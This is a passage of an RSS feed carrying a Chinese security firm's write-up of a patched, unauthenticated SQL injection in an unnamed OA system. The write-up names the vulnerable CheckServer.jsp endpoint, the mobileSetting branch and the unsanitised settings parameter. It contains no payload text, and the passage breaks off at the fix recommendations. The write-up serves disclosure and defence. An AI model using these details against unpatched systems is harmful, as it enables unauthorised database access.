mdtype="paragraph" style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;white-space-collapse: preserve;text-align: justify;">· <a href="https://saucer-man.com/operation_and_maintenance/586.html" target="_blank">https://saucer-man.com/operation_and_maintenance/586.html</a></span></p><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;white-space-collapse: preserve;text-align: justify;">· <a href="https://idiotc4t.com/defense-evasion/shadowmove-emersion-and-think" target="_blank">https://idiotc4t.com/defense-evasion/shadowmove-emersion-and-think</a></span></p><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;white-space-collapse: preserve;text-align: justify;">· <a href="https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf" target="_blank">https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf</a></span></p><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;white-space-collapse: preserve;text-align: justify;"><br/></span></p><section style="outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;text-align: center;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485142&amp;idx=1&amp;sn=81612930652625bf3d810b63e2397975&amp;chksm=c0ddfca7f7aa75b19b2e089f7322c005c45d9592b7d15389a44f798f598c44d2c8b6300ef377&amp;scene=21#wechat_redirect" textvalue="某OA系统未授权SQL注入漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">某OA系统未授权SQL注入漏洞分析</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485124&amp;idx=1&amp;sn=0a849f5ece20ad69b2013edbd0e3717d&amp;chksm=c0ddfcb5f7aa75a3148aca9d76dedfdd12efdee089cd3278a1ceece4dc470f7237a0b94053e9&amp;scene=21#wechat_redirect" textvalue="基于半监督学习的文本验证码识别方法" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="color: var(--weui-LINK);outline: 0px;cursor: pointer;"><span style="outline: 0px;font-size: 14px;">基于半监督学习的文本验证码识别方法</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;color: rgb(34, 34, 34);text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485105&amp;idx=1&amp;sn=4b8d8da5eebe0dfccc7f9801df6cc7a2&amp;chksm=c0ddfcc0f7aa75d6d608b4c0984939a46eb6af70aac8d36c5af20f722c430be304b68ac7de62&amp;scene=21#wechat_redirect" textvalue="Realtek Sdk CVE-2021-35392漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">Realtek Sdk CVE-2021-35392漏洞分析</span></a></h1><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;"><br style="outline: 0px;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span msthidden="1" style="outline: 0px;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;"><section class="mp_profile_iframe_wrp" style="outline: 0px;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="45" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="outline: 0px;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="outline: 0px;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;">阅读原文</strong></span><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=18fa1511&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485159%26idx%3D1%26sn%3D589428e1e56394461dedf5fee2e52c09%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Jul 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>某OA系统未授权SQL注入漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485142&amp;idx=1&amp;sn=81612930652625bf3d810b63e2397975</link>
      <description>墨云安全研究员在今年2月份发现某OA未授权SQL注入漏洞，厂商于04月18日已发布漏洞补丁，本文将针对该漏洞进行分析与验证。</description>
      <content:encoded><![CDATA[<p>
原创 <span>VLab安全实验室</span> <span>2023-05-25 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>墨云安全研究员在今年2月份发现某OA未授权SQL注入漏洞，厂商于04月18日已发布漏洞补丁，本文将针对该漏洞进行分析与验证。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=dbfcc915&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRxnvbALCFskzhcnpiaDmPQls9KVltOREqvxnGeuTwiaX8ibOfA3NgCRESQLRNibxrtjQ6rbGG3Vic5SUw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 74px !important;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">VLab-实验室</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 76px !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><o:p style="outline: 0px;visibility: visible;"></o:p></p><p cid="n3" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">墨云安全研究员在今年2月份发现某OA未授权SQL注入漏洞，厂商于04月18日已发布漏洞补丁，本文将针对该漏洞进行分析与验证。</span></p><p cid="n4" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">某OA的CheckServer.jsp文件默认是可以未授权访问的，CheckServer.jsp文件没有对用户输入的settings参数数据进行充分的验证和过滤，导致攻击者可以通过构造恶意的 SQL 语句来绕过应用程序的安全措施，从而对数据库进行非法操作。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">漏洞分析</span></h2><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">首先进入到CheckServer.jsp文件里面看下整个漏洞的调用过程。</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5407407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0db244da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRxnvbALCFskzhcnpiaDmPQlpINjMmicvvQAlu0Ezs1Mu9YGuqh8Sicrq4D7K6jI1Q4tvdXfwh7ibBmRA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">当type的值是mobileSetting的时候会进入到PluginServiceImpl.syncMobileSetting方法里。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0592592592592593" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e458ef5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRxnvbALCFskzhcnpiaDmPQlMicsQibWicialosykVUcD5rMQ0Tl1bdiaxCRcmSbKc0dm7PwRK31ASODJqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">在syncMobileSetting方法里首先会对settings参数转成json数组，然后会调用当前类的saveMobileDocSetting方法。</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7592592592592593" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4d7a3b00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRxnvbALCFskzhcnpiaDmPQlG6MDg3Onvcn2X2Kff7FgCyTaM33VQoT0FKwic9TRC0jHW6LFlwuGv0A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">在saveMobileDocSetting方法里对setting参数做了一次URL解码操作，然后把值拼接到sql语句当中，由此产生了SQL注入漏洞。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">漏洞验证图</span></h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7537037037037037" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6c726973&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRxnvbALCFskzhcnpiaDmPQl4E8gtNib9Hwc7wDtHyrFQ6DTegrcvtQeGVicFzBv4RE56zgPeqyiaFwAw%2F640%3Fwx_fmt%3Djpeg"/></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">修复建议</span></h2><p cid="n16" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 